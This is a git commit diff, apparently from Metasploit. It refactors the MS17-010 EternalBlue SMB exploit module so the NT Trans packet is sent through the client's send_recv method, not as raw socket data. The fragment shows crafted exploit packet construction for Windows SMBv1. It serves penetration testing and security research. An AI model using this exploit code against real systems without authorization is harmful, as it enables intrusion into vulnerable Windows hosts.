remove nt trans raw sock op

don't send the nt transact packet as raw
socket data, instead use the client send_recv
method

Author: David Maloney

modules/exploits/windows/smb/ms17_010_eternalblue.rb

@@ -321,11 +321,8 @@ def smb1_large_buffer(client, tree, sock)
 
     # send NT Trans
     vprint_status("Sending NT Trans Request packet")
-    sock.put(nt_trans_pkt)
-
-    vprint_status("Receiving NT Trans packet")
-    raw = sock.get_once
 
+    client.send_recv(nt_trans_pkt)
     # Initial Trans2  request
     trans2_pkt_nulled = make_smb1_trans2_exploit_packet(tree.id, client.user_id, :eb_trans2_zero, 0)
 
@@ -555,11 +552,7 @@ def make_smb1_nt_trans_packet(tree_id, user_id)
 
     packet.data_block.byte_count        = 1004
     packet.data_block.trans2_parameters =  "\x00" * 31 + "\x01" + ( "\x00" * 973 )
-
-    nbss = [packet.do_num_bytes].pack('N')
-    raw_packet = packet.to_binary_s
-
-    nbss + raw_packet
+    packet
   end
 
   def make_smb1_free_hole_session_packet(flags2, vcnum, native_os)